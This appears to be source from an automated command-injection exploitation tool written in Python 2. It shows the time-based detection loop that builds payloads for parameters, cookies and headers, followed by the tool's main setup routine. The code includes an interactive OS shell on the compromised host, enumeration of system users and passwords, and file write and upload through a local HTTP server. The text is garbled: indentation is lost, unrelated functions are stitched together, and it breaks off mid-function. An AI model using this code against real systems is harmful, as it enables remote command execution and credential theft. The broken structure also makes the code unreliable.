warn_msg = "The '--url-reload' option is not available in " + technique + "."
print settings.print_warning_msg(warn_msg)
whitespace = checks.check_whitespaces()
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) *
len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
how_long_statistic = []
if settings.LOAD_SESSION and session_handler.notification(
url, technique, injection_type):
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename,
http_request_method)
if not settings.LOAD_SESSION:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Define alter shell
alter_shell = menu.options.alter_shell
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for num_of_chars in range(6))
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
if alter_shell:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision_alter_shell(
separator, TAG, output_length, timesec,
http_request_method)
else:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(
separator, TAG, output_length, timesec,
http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Check for base64 / hex encoding
payload = checks.perform_payload_encoding(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write(
settings.print_payload(payload_msg) + "\n")
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
how_long = tb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
how_long = tb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
how_long = tb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
how_long = tb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tb_injector.injection_test(
payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic.append(how_long)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(
round(((num_of_chars * 100) / (total * 1.0)),
2))
if percent == 100 and no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(
how_long_statistic[0:5])) == 1:
if max(xrange(
len(how_long_statistic)),
key=lambda x:
how_long_statistic[
x]) == len(TAG) - 1:
statistical_anomaly = False
how_long_statistic = []
if timesec <= how_long and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
warn_msg = "Unexpected time delays have been identified due to unstable "
warn_msg += "requests. This behavior may lead to false-positive results.\n"
sys.stdout.write(
"\r" + settings.print_warning_msg(
warn_msg))
while True:
if not menu.options.batch:
question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
sys.stdout.write(
settings.
print_question_msg(
question_msg))
proceed_option = sys.stdin.readline(
).replace("\n", "").lower()
else:
proceed_option = ""
if len(proceed_option) == 0:
proceed_option = "c"
if proceed_option.lower(
) in settings.CHOICE_PROCEED:
if proceed_option.lower(
) == "s":
false_positive_fixation = False
raise
elif proceed_option.lower(
) == "c":
timesec = timesec + 1
false_positive_fixation = True
break
elif proceed_option.lower(
) == "q":
raise SystemExit()
else:
err_msg = "'" + proceed_option + "' is not a valid answer."
print settings.print_error_msg(
err_msg)
pass
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
if false_positive_warning:
time.sleep(1)
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
randv1) + " + " + str(
randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(
randv1) + " + " + str(
randv2) + ")"
else:
cmd = "expr " + str(
randv1) + " + " + str(
randv2) + ""
# Check for false positive resutls
how_long, output = tb_injector.false_positive_check(
separator, TAG, cmd, whitespace,
prefix, suffix, timesec,
http_request_method, url,
vuln_parameter, randvcalc,
alter_shell, how_long,
url_time_response)
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if str(output) == str(
randvcalc) and len(
TAG) == output_length:
possibly_vulnerable = True
how_long_statistic = 0
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
# False positive
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent) + "%"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write(
"\r" + settings.print_info_msg(
info_msg))
sys.stdout.flush()
continue
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent) + "%"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
if not settings.VERBOSITY_LEVEL >= 1:
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write(
"\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
break
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if (len(TAG) == output_length) and \
(possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.LOAD_SESSION:
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + payload.replace(
"\n", "\\n") + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell,
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response,
timesec,
how_long,
output_length,
is_vulnerable=menu.options.level)
#possibly_vulnerable = False
else:
settings.LOAD_SESSION = False
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = raw_input(
"\n" + settings.print_question_msg(
question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
tb_enumeration.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, whitespace, timesec,
http_request_method, url,
vuln_parameter, alter_shell, filename,
url_time_response)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
tb_enumeration.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, whitespace, timesec,
http_request_method, url, vuln_parameter,
alter_shell, filename, url_time_response)
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(
question_msg))
file_access_again = sys.stdin.readline(
).replace("\n", "").lower()
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
tb_file_access.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, whitespace, timesec,
http_request_method, url,
vuln_parameter, alter_shell, filename,
url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print ""
tb_file_access.do_check(
separator, maxlen, TAG, cmd, prefix, suffix,
whitespace, timesec, http_request_method, url,
vuln_parameter, alter_shell, filename,
url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long, output = tb_enumeration.single_os_cmd_exec(
separator, maxlen, TAG, cmd, prefix, suffix,
whitespace, timesec, http_request_method, url,
vuln_parameter, alter_shell, filename,
url_time_response)
# Export injection result
tb_injector.export_injection_results(
cmd, separator, output, check_how_long)
sys.exit(0)
if not new_line:
print ""
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace(
"\n", "").lower()
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write(
"\r" + settings.print_warning_msg(
warn_msg))
false_positive_warning = False
try:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input("""commix(""" +
Style.BRIGHT +
Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower(
) in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename, technique, go_back,
no_result, timesec,
go_back_again)
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
print ""
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(
separator, maxlen, TAG,
cmd, prefix, suffix,
whitespace, timesec,
http_request_method, url,
vuln_parameter,
alter_shell, filename,
url_time_response)
# Export injection result
tb_injector.export_injection_results(
cmd, separator, output,
check_how_long)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, output,
vuln_parameter)
else:
output = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
# Update logs with executed cmds and execution results.
logs.executed_command(
filename, cmd, output)
print ""
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
break
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def unavailable_option(check_option):
warn_msg = "The '" + check_option + "' option "
warn_msg += "is not yet available for windows targets."
print settings.print_warning_msg(warn_msg)
def main():
try:
# Check if defined "--version" option.
if menu.options.version:
version.show_version()
sys.exit(0)
# Checkall the banner
menu.banner()
# Check python version number.
version.python_version()
# Check if defined "--dependencies" option.
# For checking (non-core) third party dependenices.
if menu.options.noncore_dependencies:
checks.third_party_dependencies()
sys.exit(0)
# Check if defined "--update" option.
if menu.options.update:
update.updater()
# Check if defined "--install" option.
if menu.options.install:
install.installer()
sys.exit(0)
# Check arguments
if len(sys.argv) == 1:
menu.parser.print_help()
print ""
sys.exit(0)
# Define the level of verbosity.
if menu.options.verbose > 1:
err_msg = "The value for option '-v' "
err_msg += "must be an integer value from range [0, 1]."
print settings.print_critical_msg(err_msg)
sys.exit(0)
else:
settings.VERBOSITY_LEVEL = menu.options.verbose
# Check if defined "--delay" option.
if menu.options.delay:
if menu.options.delay > "0":
settings.DELAY = menu.options.delay
# Define the level of tests to perform.
if menu.options.level > 3:
err_msg = "The value for option '--level' "
err_msg += "must be an integer value from range [1, 3]."
print settings.print_critical_msg(err_msg)
sys.exit(0)
# Parse target / data from HTTP proxy logs (i.e Burp / WebScarab).
if menu.options.logfile:
parser.logfile_parser()
# Ignore the mathematic calculation part (Detection phase).
if menu.options.skip_calc:
settings.SKIP_CALC = True
# Check provided parameters for tests
if menu.options.test_parameter:
if menu.options.test_parameter.startswith("="):
menu.options.test_parameter = menu.options.test_parameter[1:]
settings.TEST_PARAMETER = menu.options.test_parameter.split(
settings.PARAMETER_SPLITTING_REGEX)
for i in range(0, len(settings.TEST_PARAMETER)):
if "=" in settings.TEST_PARAMETER[i]:
settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[
i].split("=")[0]
# Check if ".git" exists and check for updated version!
if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START:
update.check_for_update()
# Check if defined character used for splitting parameter values.
if menu.options.pdel:
settings.PARAMETER_DELIMITER = menu.options.pdel
# Check if defined character used for splitting cookie values.
if menu.options.cdel:
settings.COOKIE_DELIMITER = menu.options.cdel
# Check if specified wrong injection technique
if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES:
found_tech = False
# Convert injection technique(s) to lowercase
menu.options.tech = menu.options.tech.lower()
# Check if used the ',' separator
if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech:
split_techniques_names = menu.options.tech.split(
settings.PARAMETER_SPLITTING_REGEX)
else:
split_techniques_names = menu.options.tech.split()
if split_techniques_names:
for i in range(0, len(split_techniques_names)):
if len(menu.options.tech) <= 4:
split_first_letter = list(menu.options.tech)
for j in range(0, len(split_first_letter)):
if split_first_letter[
j] in settings.AVAILABLE_TECHNIQUES:
found_tech = True
else:
found_tech = False
if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \
found_tech == False:
err_msg = "You specified wrong value '" + split_techniques_names[
i]
err_msg += "' as injection technique. "
err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, "
err_msg += "(T)ime-based, (F)ile-based (with or without commas)."
print settings.print_critical_msg(err_msg)
sys.exit(0)
# Check if specified wrong alternative shell
if menu.options.alter_shell:
if menu.options.alter_shell.lower(
) not in settings.AVAILABLE_SHELLS:
err_msg = "'" + menu.options.alter_shell + "' shell is not supported!"
print settings.print_critical_msg(err_msg)
sys.exit(0)
# Check the file-destination
if menu.options.file_write and not menu.options.file_dest or \
menu.options.file_upload and not menu.options.file_dest:
err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)."
print settings.print_critical_msg(err_msg)
sys.exit(0)
if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None:
err_msg = "You must enter the '--file-write' or '--file-upload' parameter."
print settings.print_critical_msg(err_msg)
sys.exit(0)
# Check if defined "--random-agent" option.
if menu.options.random_agent:
menu.options.agent = random.choice(settings.USER_AGENT_LIST)
# Check if defined "--url" option.
if menu.options.url:
url = menu.options.url
# Check if http / https
url = checks.check_http_s(url)
if menu.options.output_dir:
output_dir = menu.options.output_dir
else:
output_dir = settings.OUTPUT_DIR
# One directory up, if Windows or if the script is being run under "/src".
if settings.IS_WINDOWS or "/src" in os.path.dirname(
os.path.abspath(__file__)):
os.chdir("..")
output_dir = os.path.dirname(output_dir)
try:
os.stat(output_dir)
except:
os.mkdir(output_dir)
# The logs filename construction.
filename = logs.create_log_file(url, output_dir)
try:
# Check if defined POST data
if menu.options.data:
request = urllib2.Request(url, menu.options.data)
else:
request = urllib2.Request(url)
headers.do_check(request)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
proxy.do_check(url)
# Check if defined Tor (--tor option).
elif menu.options.tor:
tor.do_check()
info_msg = "Checking connection to the target URL... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
response = proxy.use_proxy(request)
# Check if defined Tor (--tor option).
elif menu.options.tor:
response = tor.use_tor(request)
else:
try:
response = urllib2.urlopen(request)
except ValueError:
# Invalid format for the '--headers' option.
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' "
err_msg += "to provide an HTTP header or"
err_msg += " '--headers=\"HEADER_NAME:" + settings.WILDCARD_CHAR + "\"' "
err_msg += "if you want to try to exploit the provided HTTP header."
print settings.print_critical_msg(err_msg)
sys.exit(0)
except:
raise
html_data = content = response.read()
print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
# Check for CGI scripts on url
checks.check_CGI_scripts(url)
# Modification on payload
if not menu.options.shellshock:
#settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")"
settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")"
settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")"
# Check if defined "--file-upload" option.
if menu.options.file_upload:
if not re.match(settings.VALID_URL_FORMAT,
menu.options.file_upload):
# Check if not defined URL for upload.
while True:
question_msg = "Do you want to enable an HTTP server? [Y/n/q] > "
sys.stdout.write(
settings.print_question_msg(question_msg))
enable_HTTP_server = sys.stdin.readline().replace(
"\n", "").lower()
if enable_HTTP_server in settings.CHOICE_YES:
# Check if file exists
if not os.path.isfile(
menu.options.file_upload):
err_msg = "The '" + menu.options.file_upload + "' file, does not exists."
sys.stdout.write(
settings.print_critical_msg(err_msg) +
"\n")
sys.exit(0)
http_server = "http://" + str(
settings.LOCAL_HTTP_IP) + ":" + str(
settings.LOCAL_HTTP_PORT) + "/"
info_msg = "Setting the HTTP server on '" + http_server + "'. "
print settings.print_info_msg(info_msg)
menu.options.file_upload = http_server + menu.options.file_upload
simple_http_server.main()
break
elif enable_HTTP_server in settings.CHOICE_NO:
if not re.match(settings.VALID_URL_FORMAT,
menu.options.file_upload):
err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. "
print settings.print_critical_msg(err_msg)
sys.exit(0)
break
elif enable_HTTP_server in settings.CHOICE_QUIT:
sys.exit(0)
else:
if enable_HTTP_server == "":
enable_HTTP_server = "enter"
err_msg = "'" + enable_HTTP_server + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
try:
urllib2.urlopen(menu.options.file_upload)
except urllib2.HTTPError, err_msg:
print settings.print_critical_msg(err_msg)
sys.exit(0)
except urllib2.URLError, err_msg:
print settings.print_critical_msg(err_msg)
sys.exit(0)
# Used a valid pair of valid credentials
if menu.options.auth_cred:
success_msg = Style.BRIGHT + "Identified a valid pair of credentials '"
success_msg += menu.options.auth_cred + Style.RESET_ALL
success_msg += Style.BRIGHT + "'." + Style.RESET_ALL
print settings.print_success_msg(success_msg)
try:
if response.info()['server']:
server_banner = response.info()['server']
found_os_server = False
if menu.options.os and checks.user_defined_os():
user_defined_os = settings.TARGET_OS
# Procedure for target OS identification.
for i in range(0, len(settings.SERVER_OS_BANNERS)):
if settings.SERVER_OS_BANNERS[i].lower(
) in server_banner.lower():
found_os_server = True
settings.TARGET_OS = settings.SERVER_OS_BANNERS[
i].lower()
if settings.TARGET_OS == "win" or settings.TARGET_OS == "microsoft":
identified_os = "Windows"
if menu.options.os and user_defined_os != "win":
if not checks.identified_os():
settings.TARGET_OS = user_defined_os
settings.TARGET_OS = identified_os[:
3].lower(
)
if menu.options.shellshock:
err_msg = "The shellshock module is not available for "
err_msg += identified_os + " targets."
print settings.print_critical_msg(
err_msg)
raise SystemExit()
else:
identified_os = "Unix-like (" + settings.TARGET_OS + ")"
if menu.options.os and user_defined_os == "win":
if not checks.identified_os():
settings.TARGET_OS = user_defined_os
# Procedure for target server identification.
found_server_banner = False
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Identifying the target server... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
for i in range(0, len(settings.SERVER_BANNERS)):
if settings.SERVER_BANNERS[i].lower(
) in server_banner.lower():
if settings.VERBOSITY_LEVEL >= 1:
print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
if settings.VERBOSITY_LEVEL >= 1:
success_msg = "The target server was identified as "
success_msg += server_banner + Style.RESET_ALL + "."
print settings.print_success_msg(
success_msg)
settings.SERVER_BANNER = server_banner
found_server_banner = True
# Set up default root paths
if settings.SERVER_BANNERS[i].lower(
) == "apache":
if settings.TARGET_OS == "win":
settings.SRV_ROOT_DIR = "\\htdocs"
else:
settings.SRV_ROOT_DIR = "/var/www"
if settings.SERVER_BANNERS[i].lower(
) == "nginx":
settings.SRV_ROOT_DIR = "/usr/share/nginx"
if settings.SERVER_BANNERS[i].lower(
) == "microsoft-iis":
settings.SRV_ROOT_DIR = "\\inetpub\\wwwroot"
break
if not found_server_banner:
if settings.VERBOSITY_LEVEL >= 1:
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
warn_msg = "Heuristics have failed to identify target server."
print settings.print_warning_msg(warn_msg)
# Procedure for target application identification
found_application_extension = False
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Identifying the target application ... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
root, application_extension = splitext(
urlparse(url).path)
settings.TARGET_APPLICATION = application_extension[
1:].upper()
if settings.TARGET_APPLICATION:
found_application_extension = True
if settings.VERBOSITY_LEVEL >= 1:
print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
success_msg = "The target application was identified as "
success_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "."
print settings.print_success_msg(success_msg)
# Check for unsupported target applications
for i in range(
0,
len(settings.UNSUPPORTED_TARGET_APPLICATION
)):
if settings.TARGET_APPLICATION.lower(
) in settings.UNSUPPORTED_TARGET_APPLICATION[
i].lower():
err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported."
print settings.print_critical_msg(err_msg)
raise SystemExit()
if not found_application_extension:
if settings.VERBOSITY_LEVEL >= 1:
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
warn_msg = "Heuristics have failed to identify target application."
print settings.print_warning_msg(warn_msg)
# Load tamper scripts
if menu.options.tamper:
checks.tamper_scripts()
# Store the Server's root dir
settings.DEFAULT_SRV_ROOT_DIR = settings.SRV_ROOT_DIR
if menu.options.is_admin or menu.options.is_root and not menu.options.current_user:
menu.options.current_user = True
# Define Python working directory.
if settings.TARGET_OS == "win" and menu.options.alter_shell:
while True:
question_msg = "Do you want to use '" + settings.WIN_PYTHON_DIR
question_msg += "' as Python working directory on the target host? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(question_msg))
python_dir = sys.stdin.readline().replace(
"\n", "").lower()
if python_dir in settings.CHOICE_YES:
break
elif python_dir in settings.CHOICE_NO:
question_msg = "Please provide a custom working directory for Python (e.g. '"
question_msg += settings.WIN_PYTHON_DIR + "') > "
sys.stdout.write(
settings.print_question_msg(
question_msg))
settings.WIN_PYTHON_DIR = sys.stdin.readline(
).replace("\n", "").lower()
break
else:
if python_dir == "":
python_dir = "enter"
err_msg = "'" + python_dir + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
settings.USER_DEFINED_PYTHON_DIR = True
# Check for wrong flags.
if settings.TARGET_OS == "win":
if menu.options.is_root:
warn_msg = "Swithing '--is-root' to '--is-admin' because the "
warn_msg += "target has been identified as windows."
print settings.print_warning_msg(warn_msg)
if menu.options.passwords:
warn_msg = "The '--passwords' option, is not yet available for Windows targets."
print settings.print_warning_msg(warn_msg)
if menu.options.file_upload:
warn_msg = "The '--file-upload' option, is not yet available for windows targets. "
warn_msg += "Instead, use the '--file-write' option."
print settings.print_warning_msg(warn_msg)
sys.exit(0)
else:
if menu.options.is_admin:
warn_msg = "Swithing the '--is-admin' to '--is-root' because "
warn_msg += "the target has been identified as unix-like. "
print settings.print_warning_msg(warn_msg)
if found_os_server == False and \
not menu.options.os:
# If "--shellshock" option is provided then,
# by default is a Linux/Unix operating system.
if menu.options.shellshock:
pass
else:
warn_msg = "Heuristics have failed to identify server's operating system."
print settings.print_warning_msg(warn_msg)
while True:
question_msg = "Do you recognise the server's operating system? "
question_msg += "[(W)indows/(U)nix/(q)uit] > "
sys.stdout.write(
settings.print_question_msg(
question_msg))
got_os = sys.stdin.readline().replace(
"\n", "").lower()
if got_os.lower() in settings.CHOICE_OS:
if got_os.lower() == "w":
settings.TARGET_OS = "win"
break
elif got_os.lower() == "u":
break
elif got_os.lower() == "q":
raise SystemExit()
else:
if got_os == "":
got_os = "enter"
err_msg = "'" + got_os + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
if not menu.options.os:
if found_server_banner == False:
warn_msg = "The server which was identified as "
warn_msg += server_banner + " seems unknown."
print settings.print_warning_msg(warn_msg)
else:
found_os_server = checks.user_defined_os()
except KeyError:
pass
# Charset detection.
requests.charset_detection(response)
# Check the HTTP response content.
if len(settings.ENCODING) == 0:
http_response_content(response.read())
else:
http_response_content(response.read().decode(settings.ENCODING))
except urllib2.HTTPError, err:
error_msg = "Got " + str(err).replace(": ", " (")
# Check for 4xx and/or 5xx HTTP error codes.
if str(err.code).startswith('4') or \
str(err.code).startswith('5'):
if settings.VERBOSITY_LEVEL > 1:
if len(str(err).split(": ")[1]) == 0:
error_msg = error_msg + "Non-standard HTTP status code"
warn_msg = error_msg
print settings.print_warning_msg(warn_msg + ").")
pass
else:
error_msg = str(err).replace(": ", " (")
if len(str(err).split(": ")[1]) == 0:
err_msg = error_msg + "Non-standard HTTP status code"
else:
err_msg = error_msg
print settings.print_critical_msg(err_msg + ").")
raise SystemExit()
except urllib2.URLError, err:
err_msg = "Unable to connect to the target URL"
try:
err_msg += " (" + str(err.args[0]).split("] ")[1] + ")."
except IndexError:
def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
delay, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename,
url_time_response):
if settings.TARGET_OS == "win":
# Not yet implemented!
